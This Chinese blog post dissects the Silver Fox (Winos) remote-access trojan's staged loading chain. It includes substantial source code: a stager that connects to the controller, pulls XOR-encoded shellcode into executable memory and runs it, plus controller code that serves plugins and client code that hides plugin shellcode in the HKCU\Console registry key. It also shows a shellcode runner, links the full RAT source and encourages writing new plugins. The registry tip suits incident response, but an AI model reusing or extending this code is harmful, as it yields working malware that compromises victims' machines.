最近由于工作需要,在研究银狐这套经典远控的源码,在公众号发了一系列相关技术研究文章。
某天晚上,一个号称是XXX市*安的人联系我,咨询相关技术问题,并希望能支持他们分析一起银狐变种“木马”的活动样本。这是事情的背景。
在征得当事人同意,我特地写一篇关于这方面的技术文章,希望对存在类似困惑的读者有帮助,同时也希望对从事安全攻防的小伙伴在技术上有一些启发。
特别申明:
1. 本文介绍的内容仅做技术上的交流,请勿使用本文介绍的技术做其他用途,违者与本号无关。
2. 作者不提供任何支持生成可用shellcode和免杀版本的银狐源码,有此需求的读者请勿联系作者,只接受网安(带有效证件)相关的技术交流和合作,黑灰产勿扰。
我们从简单的到复杂的逐一介绍。
要想验证一个软件是否在你的电脑上有一些不法活动,微软的Sysinternals系列工具ProcessMonitor是一个非常友好的工具,简单易用,这个工具可以扫描出一个进程在你的电脑读写了哪些文件、读写了注册表哪些位置、连接了哪些网络地址、发送了多少数据。示意图如下:
如果你熟悉Windows编程,可以使用更高级的工具叫APIMonitor去检测一个进程调用了哪些系统API,进而大致了解软件的行为。
但是这两种方式对于银狐被控来说,均无效。
无效的原因是,有两个:
银狐被控如何隐藏系统API调用的
银狐的被控利用了内存加载技术隐藏了各类系统API的调用,其实现方法在插件解决方案的执行管理工程中,如下图所示:
具体的实现流程,我在《银狐远控免杀与shellcode修复思路分析 01》这篇文章(链接见文末更多阅读)中已经详细地介绍了,有兴趣的小伙伴可以阅读一下,当然这也是安全工程中一种常见的自我保护策略。
银狐被控主程序只是一个加载器
但是由于对方只有被控端,没有主控端,从网络上下载了一个主控端,采用网络劫持的方式让这个被控连接主控,由于目标被控修了协议格式,导致和手头上的被控协议格式不匹配。
既然被控上不了线,那么也就没法去验证被控实际有什么功能,更没法证明它会对电脑有啥影响。
那换个思路,使用x64(86)dbg或者IDA系列工具去分析手头上的被控二进制程序可行吗?
也不可行。因为如果你读过银狐被控的源码,主要是执行代码这个工程的源码,就会知道银狐被控执行代码是一个加载器,安全工程上把这种东西叫反向shell,它会在连接上主控以后去请求上线模块,上线模块到达被控端后,会被执行,然后上线模块会向主控请求登录模块,被控端收到登录模块后,会执行登录模块并发送上线登录数据包,通过主控验证后会在主控端上线。示意图如下:
这种通过网络请求数据分阶段加载,大大提高了被控的安全性,即使加载器被人静态分析了,也只能分析出其有请求网络数据包和执行的行为,至于下载的网络包是什么内容,执行什么逻辑,很难分析出来。
安全工程上把这个多阶段的阶段一词叫Stage,第一阶段一般叫Stager,后续阶段有的叫Stageless,银狐的上线流程就是典型的三阶段,一些复杂的被控可能有更多的Stage。
本着授人以鱼不如授人以渔的精神,对安全工程感兴趣的小伙伴可能会问,我也想学这些知识,应该到哪里去学?
可以考虑小方老师的知识星球专栏《Windows安全工程从入门到进阶》,专栏部分目录如下:
想要加入小方老师的知识星球,可以扫下面的二维码加入:
接着在主控端进行各种操作时,会将各个插件功能的发给被控端,发给被控端的数据不是一个完整的dll文件,而是经过特殊处理的Shellcode数据,可以直接执行。
这里我们结合代码分析会更清楚。
第一个问题,执行模块(也就是Stager)请求的Shellcode是上线模块,请求逻辑位于执行模块中,以TCP请求为例,UDP类似:
void mytcp(func_t* func, int i) { LPVOID buff = NULL; ADDRINFOA* ip = NULL; func->m_socket = func->socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (func->m_socket == INVALID_SOCKET) goto end; func->buff = (CHAR*)func->VirtualAlloc(0, 512 * 1024 + 14, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (!func->buff) goto end; if (func->getaddrinfo((i == 1) ? func->add1 : func->add2, 0, 0, &ip) != 0) goto end; func->ClientAddr = *((SOCKADDR_IN*)ip->ai_addr); func->ClientAddr.sin_port = func->htons((i == 1) ? func->data->szPort1 : func->data->szPort2); //加载器与主控连接 if (func->connect(func->m_socket, (SOCKADDR*)&(func->ClientAddr), sizeof(func->ClientAddr)) == SOCKET_ERROR) goto end; #ifdef _WIN64 char name[] = { '6','4',0 }; #else char name[] = { '3','2',0 }; #endif // 请求上线模块 int rt = func->send(func->m_socket, name, sizeof(name), 0); if (rt <= 0) goto end; int len = 0; int nSize = 0; buff = func->VirtualAlloc(0, 310 * 1024, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (!buff) goto end; do { // 收取上线模块数据 nSize = func->recv(func->m_socket, (CHAR*)buff, 100 * 1024, 0); if (nSize <= 0) goto end; func->_MoveMemory(func->buff + len, (void*)buff, (DWORD)nSize); len += nSize; } while (len != (300 * 1024 + 14)); if (buff) func->VirtualFree(buff, 0, MEM_RELEASE); msg(0, 0, 0, 0); byte* password = (byte*)(func->buff) + 4; func->buff = (char*)(func->buff) + 14; for (int i = 0, j = 0; i < (int)len; i++) //加密 { ((char*)func->buff)[i] ^= (password[j++]) % 456 + 54; if (i % (10) == 0) j = 0; } typedef VOID(__stdcall* CODE) (_In_ TCHAR*); // 上线模块数据为可直接执行的shellcode,直接执行 CODE fn = ((CODE(*)()) func->buff)(); fn(func->confi); do {} while (1); end: if (ip) func->freeaddrinfo(ip); if (func->m_socket != INVALID_SOCKET) func->closesocket(func->m_socket); if (func->buff) func->VirtualFree(func->buff, 0, MEM_RELEASE); if (buff) func->VirtualFree(buff, 0, MEM_RELEASE); }主控下发上线模块的shellcode逻辑如下,位于主控HpTcpServer.cpp中:
//MainFrame.cpp void CMainFrame::ProcessSendShellcode(ClientContext* pContext, int i) { OUT_PUT_FUNCION_NAME_INFO BYTE* bPacket = new BYTE[512 * 1024]; memset(bPacket, 0, 300 * 1024); if (i == 0) { memcpy(bPacket, m_Shellcode32, m_ShellcodeSize32); } else { memcpy(bPacket, m_Shellcode64, m_ShellcodeSize64); } g_pSocketBase->Send(pContext, bPacket, 300 * 1024); SAFE_DELETE_AR(bPacket); return; }m_Shellcode32和m_Shellcode64类型是PVOUD,即char*指针,指向的内存用于存储上线模块的shellcode的字节码,主控在启动时已经准备好:
void CMainFrame::InitShellcode() { OUT_PUT_FUNCION_NAME_INFO TCHAR szSelfPath[MAX_PATH]; GetModuleFileName(NULL, szSelfPath, ARRAYSIZE(szSelfPath)); CString strFileName = szSelfPath; strFileName.Format(_T("%s\\Plugins\\x86\\上线模块.dll_bin"), strFileName.Mid(0, strFileName.ReverseFind('\\'))); HANDLE hFile = CreateFile(strFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { log_警告("本地文件 payload32 未找到 ,无法使用payload32加载上线模块"); return; } m_ShellcodeSize32 = GetFileSize(hFile, NULL); m_Shellcode32 = new BYTE[m_ShellcodeSize32]; DWORD dwReadsA = 0; ReadFile(hFile, m_Shellcode32, m_ShellcodeSize32, &dwReadsA, NULL); CloseHandle(hFile); CString FileName64 = szSelfPath; FileName64.Format(_T("%s\\Plugins\\x64\\上线模块.dll_bin"), FileName64.Mid(0, FileName64.ReverseFind('\\'))); hFile = CreateFile(FileName64, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { log_警告("本地文件 payload64 未找到 ,无法使用payload64加载上线模块"); return; } m_ShellcodeSize64 = GetFileSize(hFile, NULL); m_Shellcode64 = new BYTE[m_ShellcodeSize64]; dwReadsA = 0; ReadFile(hFile, m_Shellcode64, m_ShellcodeSize64, &dwReadsA, NULL); CloseHandle(hFile); }当然,这里的代码写的也不好,缺乏一些必要的出错处理,通过上述代码可以看出shellcode数据来自上线模块.dll_bin文件,路径位于主控所在目录下的Plugins\x86\和Plugins\x64\目录。
那这个文件是怎么产生的呢?
以x64版本的上线模块.dll_bin为例,以x64 Release模式编译插件工程上线模块会产生上线模块.dll:
再以x64 Release-exe模式编译插件工程上线模块会产生上线模块.dll_bin:
上线模块.dll会生成到目录主插件\x64\Release\中。
主控在自己的资源文件Quick.res中引用这两个文件资源:
这种设计个人觉得不太好,因为被控插件每一次变动就需要重新编译主控,耦合性强,比较麻烦。
然后主控定义了一个全局数组引用这些资源:
主控启动时,会调用WriteAndReadPlugins从资源文件中拿到这些插件信息,然后将其转换成shellcode,WriteAndReadPlugins定义如下:
void CMainFrame::WriteAndReadPlugins() { OUT_PUT_FUNCION_NAME_INFO TCHAR szSelfPath[MAX_PATH]; ::GetModuleFileName(NULL, szSelfPath, ARRAYSIZE(szSelfPath)); CString strPath = szSelfPath; strPath = strPath.Mid(0, strPath.ReverseFind('\\')); for (int i = 0; i < sizeof(g_pluginsDatas_32) / sizeof(PLUGINS); i++) { WriteResource(false, strPath.GetBuffer(), g_pluginsDatas_32[i].DllPath, g_pluginsDatas_32[i].RType, _T("PLUGINS"), true, g_pluginsDatas_32[i].buildshellcode, g_pluginsDatas_32[i].param); } for (int i = 0; i < sizeof(g_pluginsDates_64) / sizeof(PLUGINS); i++) { WriteResource(true, strPath.GetBuffer(), g_pluginsDates_64[i].DllPath, g_pluginsDates_64[i].RType, _T("PLUGINS64"), true, g_pluginsDates_64[i].buildshellcode, g_pluginsDates_64[i].param); } } // ...无关代码省略...遍历数组g_pluginsDates_64后会逐一处理各个插件,实际处理逻辑在WriteResource函数中:
void CMainFrame::WriteResource(bool iswin64, TCHAR* lp_path, TCHAR* lp_filename, int lpszType, TCHAR* lpresname, bool bwrite, bool buildshellcode, char* param) { PluginsInfo* p_PluginsInfo = new PluginsInfo; CString str; str = lp_path; iswin64 ? str += _T("\\Plugins\\x64\\") : str += _T("\\Plugins\\x86\\"); str += lp_filename; HANDLE h_Skinfile = (*MyBoxedAppSDK_CreateVirtualFileW)(str, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_NEW, 0, NULL); char* pBuffer = NULL; DWORD dwSize; HRSRC hResource = FindResource(GetModuleHandle(NULL), MAKEINTRESOURCE(lpszType), lpresname); if (hResource) { HGLOBAL hg = LoadResource(GetModuleHandle(NULL), hResource); if (hg) { pBuffer = (char*)LockResource(hg); if (pBuffer) { dwSize = SizeofResource(GetModuleHandle(NULL), hResource); DWORD dwTemp; if (bwrite) WriteFile(h_Skinfile, pBuffer, dwSize, &dwTemp, NULL); p_PluginsInfo->filedate = (BYTE*)pBuffer; p_PluginsInfo->filesize = dwSize; string s_tmp = MD5((void*)pBuffer, dwSize).toString(); int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0); MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo->Version, size); TCHAR szMsg[256] = { 0 }; wsprintf(szMsg, _T("从资源文件中加载插件:%s 大小:%d 字节 MD5:%s iswin64: %d\n"), lp_filename, dwSize, p_PluginsInfo->Version, (iswin64 ? 1 : 0)); ::OutputDebugString(szMsg); iswin64 ? m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo)) : m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo)); CloseHandle(h_Skinfile); } } } if (buildshellcode) { CStringA str_in; CStringA str_out; str_in = str; str_out = str; str_out += "_bin"; if (strcmp(param, "0") == 0) { dll_to_shellcode(InvokeDllMode::Invoke_DllMain, param, str_in, str_out); } else { dll_to_shellcode(InvokeDllMode::Invoke_ExportFunc, param, str_in, str_out); } HANDLE hFile = CreateFileA(str_out, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { log_严重("WriteResource,读取BIN出错"); return; } DWORD len = GetFileSize(hFile, NULL); char* binbuffer = new char[len]; ZeroMemory(binbuffer, sizeof(binbuffer)); DWORD wr = 0; ReadFile(hFile, binbuffer, len + 1, &wr, NULL); PluginsInfo* p_PluginsInfo_bin = new PluginsInfo; p_PluginsInfo_bin->filedate = (BYTE*)binbuffer; p_PluginsInfo_bin->filesize = len; string s_tmp = MD5((void*)binbuffer, len).toString(); int size = MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, NULL, 0); MultiByteToWideChar(CP_ACP, 0, s_tmp.c_str(), -1, p_PluginsInfo_bin->Version, size); lstrcat(lp_filename, _T("_bin")); TCHAR szMsg[256] = { 0 }; wsprintf(szMsg, _T("从ShellCode文件中加载插件:%s 大小:%d 字节 MD5:%s iswin64: %d\n"), lp_filename, (int)len, p_PluginsInfo_bin->Version, (iswin64 ? 1 : 0)); ::OutputDebugString(szMsg); iswin64 ? m_PluginsDate_x64.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo_bin)) : m_PluginsDate_x86.insert(MAKE_PAIR(PluginsDate, lp_filename, p_PluginsInfo_bin)); CloseHandle(hFile); } }在这个函数中调用dll_to_shellcode函数将各个插件dll转换成shellcode,这个是银狐中实现最精彩的逻辑,虽然是网上抄来的代码,但是很值得做安全工程和红蓝攻防的同学学习。我们后续将单独写一篇文章来详细地介绍。
小方老师的知识星球专栏《Windows安全工程从入门到进阶》中有一章内容《第7章 PE转Shellcode——格式转换》详细地介绍了这个技术,我也是学了这个才看得懂银狐中的这块逻辑的。
经过这里的处理所有的插件合法的PE文件格式(这里是dll格式)变成dll_bin的shellcode,即*.dll变为*.dll_bin,例如登录模块.dll变为登录模块.dll_bin,文件管理.dll变为文件管理.dll_bin。
这样就接上了,被控执行模块请求上线模块.dll_bin去执行,然后上线模块再请求登录模块,先来看上线模块这块的逻辑。
无论上线模块是通过DllMain函数执行还是通过入口函数load或者run函数,最后都会创建一个新的线程,线程函数是MainThread。
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: { // 省略部分代码... hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); // 省略部分代码... } // 用于被控生成dll文件时可用自定义导出函数名替换zidingyixiugaidaochuhanshu extern "C" __declspec(dllexport) PVOID zidingyixiugaidaochuhanshu() //劫持使用 无需参数 { if (hThread) return 0; Analyze(); hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return 0; } extern "C" __declspec(dllexport) void load(TCHAR* code) //shellcode使用加载load { if (hThread) return; memcpy(confi, code, lstrlen(code) * 2 + 2); Analyze(); hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); return; } extern "C" __declspec(dllexport) PVOID run() { hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程 WaitForSingleObject(hThread, INFINITE); return 0; }MainThread函数位置如下所示:
逻辑与主控建立连接成功后发送TOKEN_GETVERSION命令,请求登录模块的数据:
主控收到TOKEN_GETVERSION命令,处理如下:
//处理接收数据 void CMainFrame::ProcessReceiveComplete(ClientContext* pContext) { // ...省略部分代码 case TOKEN_GETVERSION: //获取版本 OnOpenSendVersion(pContext); break; // ...省略部分代码 }OnOpenSendVersion函数实现如下:
void CMainFrame::OnOpenSendVersion(ClientContext* pContext) { PluginsDate* p_PluginsDate; if (pContext->m_DeCompressionBuffer.GetBuffer(0)[1] == 0) p_PluginsDate = &(m_PluginsDate_x86); else p_PluginsDate = &(m_PluginsDate_x64); PluginsDate::iterator it_PluginsDate = p_PluginsDate->find(_T("登录模块.dll_bin")); if (it_PluginsDate != p_PluginsDate->end()) { const int payloadSize = 100; BYTE* bPacket = new BYTE[payloadSize + 1]; memset(bPacket, 0, payloadSize + 1); bPacket[0] = TOKEN_GETVERSION; memcpy(bPacket + 1, it_PluginsDate->second->Version, payloadSize); g_pSocketBase->Send(pContext, bPacket, payloadSize + 1); SAFE_DELETE_AR(bPacket); } log_信息("询问登录模块版本"); }可以看到,主控的处理就是将登录模块的shellcode数据发给被控,对应磁盘上的文件登录模块.dll_bin,这个文件来源于主控启动时将磁盘上的登录模块.dll处理成登录模块.dll_bin,上文已经介绍过了,这里不再赘述。这里登录模块的shellcode数据长度是100,加上第一个字节是命令号TOKEN_GETVERSION,所以刚好101个字节。读者看原版代码时,可能代码与我的版本有差别,这里诸如payloadSize这样的变量是我优化时加上的,方便代码可读。
被控上线模块收到这个数据包时会先通过自己注册表中存储的上线模块数据的MD5值,去比对与主控传过来的是否一致,如果不一致,则以主控的为准,然后更新掉注册表的记录。
这里的payloadSize变量和代码注释也是我为了容易阅读代码加上的,原版也没有。这里没有使用TOKEN_GETVERSION命令号去判断数据包类型,而是使用写死的101包长度作为判断依据,如果TOKEN_GETVERSION这个报文增减内容,这里维护起来就麻烦了,这里是一个可以优化的点。
被控将插件shellcode数据存储在HKEY_CURRENT_USER\Console这个节点下,x64是HKEY_CURRENT_USER\Console\1,x86是HKEY_CURRENT_USER\Console\1,其中项的名字是插件的shellcode MD5值,value是二进制,即插件的shellcode内容。如果你的电脑感染银狐木马,你的注册表在这个位置可能是这样的:
之所以存储在这个位置,对于一般人来说,甚至是开发都不敢轻易删除这个位置的数据,因为它看起来像是系统数据,具有隐蔽性。
分析到这里,这位公安同志的问题就解决了:
虽然不能通过分析被控的行为,因为它只是一个空壳子,但只要去运行过被控的电脑上查看注册表的上述位置,将这些插件数据提取出来,就能分析这个被控的实际行为了。
由于这些shellcode都是可以直接执行的可执行代码,所以甚至可以写一些简单的程序去验证,更不用说静态分析这些可执行指令了。
例如,我们可以简单的程序去执行这些shellcode:
int main() { // 将注册表中的数据读取到内存buf中,代码省略 char* buffer = new char[size]; // 分配内存 void* mem = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (mem == NULL) { cout << "无法分配内存" << endl; return 1; } // 复制shellcode到内存 memcpy(mem, buffer, size); // 调用shellcode typedef void(*Shellcode)(); Shellcode sc = (Shellcode)mem; sc(); // 释放内存 VirtualFree(mem, 0, MEM_RELEASE); return 0; }本着内容的完整性,我们再多说一点。
上线模块执行登录模块的shellcode后,执行到登录模块的入口函数,在入口函数中创建线程,和前面介绍的上线模块一样,这里不再重复。
线程函数MainThread会向主控再次建立连接,并发送登录数据包,之前的文章《银狐远控的被控端是如何隐藏和保护自己的》(链接见文末更多阅读)中介绍的大多数被控自我保护选项逻辑也位于这里。
DWORD WINAPI MainThread() { //...省略部分逻辑... if (IsTcp == 1) socketClient = (CTcpSocket*)ptcp; else socketClient = (CUdpSocket*)pudp; if (MyInfo.otherset.antinet) { while (AntiCheck()) Sleep(20000); } if (!socketClient->Connect(szAddress, _ttoi(szPort))) { //...省略部分逻辑... continue; } //...省略部分逻辑... // 发送上线数据包 if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1) { socketClient->Disconnect(); continue; } //...省略部分逻辑... } return 0; }if (sendLoginInfo(socketClient, Time, MyInfo.otherset.special) == -1)即发送上线数据包,上线数据包中携带被控机器的各类信息,例如IP、机器位数、是否有摄像头、CPU型号、当前活动窗口等等,这些信息即是显示在主控在线列表的表头信息,所以如果需要调整这些字段,在这里修改即可。
被控上线之后,主控可以对被控进行操作,例如打开文件管理,逻辑和上线模块请求登录模块逻辑基本相同,只不过这里变成上线模块请求文件管理模块,所以逻辑位于登录模块中。
// 加上激活 void CLoginManager::OnReceive(LPBYTE lpBuffer, UINT nSize) { //...省略部分代码 switch (lpBuffer[0]) { //...省略部分代码 case COMMAND_DLLMAIN: // 插件 获取DLL 文件名 运行的函数名 { if (nSize != (sizeof(DllSendData) + 1)) return; DllSendData* pDllSendData = new DllSendData; ZeroMemory(pDllSendData, sizeof(DllSendData)); ::memcpy(pDllSendData, lpBuffer + 1, sizeof(DllSendData)); if ((m_nDllLoadMode == DLL_PUPPET)/* || (m_nDllLoadMode == DLL_SHELLCODE)*/) wsprintf(pDllSendData->szDllName, _T("%s_bin"), pDllSendData->szDllName); /* 复制被控的情况下,这段逻辑在网络线程中被调用, 由于存在多个连接(至少两个), 一个连主控A的连接,一个连接主控B的连接, 它们有可能同时读写`g_vecDllDatas`对象,这就出现了线程安全问题, 因此可能引起被控crash。 by zhangxf 2025.01.14 */ for (std::vector<DllData*>::iterator it = g_vecDllDatas.begin(); it != g_vecDllDatas.end(); ) { if (_tcscmp((*it)->m_sendDllData->szDllName, pDllSendData->szDllName) == 0) { if (_tcscmp((*it)->m_sendDllData->szVersion, pDllSendData->szVersion) != 0) //对比版本号 { SAFE_DELETE((*it)->m_sendDllData); SAFE_DELETE_AR((*it)->m_pDllData); SAFE_DELETE(*it); g_vecDllDatas.erase(it); break; } // 存在一种情形,一个被控被复制了一份或者转移了,这样原来本地插件数据中存储的连接信息就不对了 // 需要用当前登录模块的连接信息覆盖掉原有存储的连接信息 (*it)->m_strMasterHost = m_strMasterHost; (*it)->m_nMasterPort = m_nMasterPort; (*it)->m_bIsTcp = m_bIsTcp; (*it)->m_CLoginManager = this; HANDLE hWorker = (HANDLE)_beginthreadex(NULL, // Security 0, // Stack size - use default Loop_DllManager, // Thread fn entry point (void*)(*it), // Param for thread 0, // Init flag NULL); // Thread address CloseHandle(hWorker); SAFE_DELETE(pDllSendData); return; } else { ++it; } } LPBYTE lpBuffer = NULL; DWORD dwOffset = 0; dwOffset = sizeof(DllSendData) + 1; lpBuffer = new BYTE[dwOffset]; lpBuffer[0] = TOKEN_SENDLL; //客户端位数 #ifdef _WIN64 pDllSendData->bIsX64 = 1; #else pDllSendData->bIsX64 = 0; #endif ::memcpy(lpBuffer + 1, pDllSendData, dwOffset - 1); Send((LPBYTE)lpBuffer, dwOffset); SAFE_DELETE(pDllSendData); SAFE_DELETE(lpBuffer); } break; case COMMAND_SENDLL: { // 收到插件数据后,将插件数据写入注册表,并利用插件数据开始执行 DllSendData* temp = new DllSendData; //new ZeroMemory(temp, sizeof(DllSendData)); ::memcpy(temp, lpBuffer + 1, sizeof(DllSendData)); BYTE* pPluginDllShellcodeData = new BYTE[temp->dllDataSize]; ::memcpy(pPluginDllShellcodeData, lpBuffer + 1 + sizeof(DllSendData), temp->dllDataSize); DllData* pDllData = new DllData; pDllData->m_sendDllData = temp; pDllData->m_pDllData = pPluginDllShellcodeData; // 将登录模块的连接信息传递给插件模块,登录模块连接信息来源于上线模块 pDllData->m_strMasterHost = m_strMasterHost; pDllData->m_nMasterPort = m_nMasterPort; pDllData->m_bIsTcp = m_bIsTcp; pDllData->m_nDllLoadMode = m_nDllLoadMode; pDllData->m_CLoginManager = this; g_vecDllDatas.push_back(pDllData); // dll bin 写入注册表 // by zhangxf 2026.01.05 //int writeregeditsize = sizeof(DllSendData) + sizeof(DllDate) + temp->DateSize; int writeregeditsize = sizeof(DllSendData) + temp->dllDataSize; char* writeregeditbuffer = new char[writeregeditsize]; if (writeregeditbuffer) { memcpy(writeregeditbuffer, temp, sizeof(DllSendData)); //memcpy(writeregeditbuffer + sizeof(DllSendData), m_DllDate, sizeof(DllDate)); memcpy(writeregeditbuffer + sizeof(DllSendData), pPluginDllShellcodeData, temp->dllDataSize); HKEY hKey; #ifdef _WIN64 if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\1"), &hKey)) { #else if (ERROR_SUCCESS == ::RegCreateKey(HKEY_CURRENT_USER, _T("Console\\0"), &hKey)) { #endif TCHAR* DllName = new TCHAR[255]; BufToMd5(DllName, temp->szDllName); ::RegDeleteValue(hKey, DllName); ::RegSetValueEx(hKey, DllName, 0, REG_BINARY, (unsigned char*)writeregeditbuffer, writeregeditsize); SAFE_DELETE_AR(DllName); } ::RegCloseKey(hKey); } SAFE_DELETE_AR(writeregeditbuffer); HANDLE hWorker = (HANDLE)_beginthreadex(NULL, // Security 0, // Stack size - use default Loop_DllManager, // Thread fn entry point (void*)pDllData, // Param for thread 0, // Init flag NULL); // Thread address CloseHandle(hWorker); } break; //...省略部分代码 }上述代码中两个switch-case:COMMAND_DLLMAIN和COMMAND_SENDLL,分别对应两种情况:
- 判断内存g_vecDllDatas对象和注册表中是否有需要的插件的shellcode数据,如果有且版本号和主控传过来的一致,则直接取出数据开启新的线程执行;
- 如果没有,则请求到数据后,写入内存g_vecDllDatas对象中并记录到上文所说的注册表位置。
无论哪种情况,最终都拿到了插件数据,然后开启新的线程执行,线程函数为Loop_DllManager:
unsigned int __stdcall Loop_DllManager(void* pVoid) { DllData* pDllData = (DllData*)pVoid; typedef void (*DLLMain)(TCHAR* ip, DWORD port, BOOL istcp, BOOL RunDllEntryProc); typedef void(__stdcall* onlyload)(); DLLMain lpproc; switch (pDllData->m_nDllLoadMode) { // 这里是除登录模块以外的插件加载逻辑 case DLL_MEMLOAD: { //...省略无关代码... HMEMORYMODULE hDllModule = ::MemoryLoadLibrary(pDllData->m_pDllData, pDllData->m_sendDllData->dllDataSize); #endif if (hDllModule != NULL) { #ifdef _DEBUG lpproc = (DLLMain)::GetProcAddress(hDllModule, "Main"); #else lpproc = (DLLMain)MemoryGetProcAddress(hDllModule, "Main"); #endif if (lpproc != NULL) { pDllData->m_CLoginManager->SendLastError(2, pDllData->m_sendDllData->szDllName, _T("加载")); (*lpproc)(pDllData->m_strMasterHost, pDllData->m_nMasterPort, pDllData->m_bIsTcp, false); #ifdef _DEBUG ::FreeLibrary(hDllModule); #else MemoryFreeLibrary(hDllModule); #endif pDllData->m_CLoginManager->SendLastError(2, pDllData->m_sendDllData->szDllName, _T("释放")); } else { pDllData->m_CLoginManager->SendLastError(1, _T("插件加载失败-无Main函数")); } } } // end case DLL_MEMLOAD break; //...省略无关代码...主控界面在线列表的表头反馈/切换加载方式一栏的信息在启动某个插件时会动态更新也是这里发送的,即上述代码的:
pDllData->m_CLoginManager->SendLastError(2, pDllData->m_sendDllData->szDllName, _T("加载"));和
pDllData->m_CLoginManager->SendLastError(2, pDllData->m_sendDllData->szDllName, _T("释放"));至此,插件功能就启动了,剩下的在插件界面的操作就走插件内部的逻辑了。
总结一下:
执行代码模块是一个加载器(术语叫Stager),它会请求上线模块的shellcode并执行;上线模块会请求登录模块的shellcode去执行;- 后续所有插件功能的启用都是通过
登录模块请求并执行的。
搞清楚上述逻辑,对银狐扩展自己的插件就非常容易了,当然前提是必须合法合规。
例如,这是我扩展的启动管理插件:
源码获取
如果对银狐(winos)有兴趣,可以通过下面的链接获取全套源码(仅用于学习目的):
https://mp.weixin.qq.com/s/S9IR7EUbRsp0UGh-LI62xw
更多阅读
银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题
银狐远控代码中差异屏幕bug修复
银狐远程屏幕内存优化方法探究
银狐远程软件bug修复记录 第03篇
银狐远程软件 UDP 断线无法重连的bug排查和修复
银狐远程软件代理映射功能优化思路分享
银狐远程软件去后门方法
银狐远控一键编译调试与开发教程
银狐远控免杀与shellcode修复思路分析 01
银狐ShellCode混淆怪招
详解银狐远控源码中那些C++编码问题
给银狐远控增加一个小功能01
银狐远控的被控端是如何隐藏和保护自己的
从银狐复制和转移客户功能的bug说起......
谈几点银狐源码学习感悟
客户端软件的结构设计思考(一)——以银狐主控为例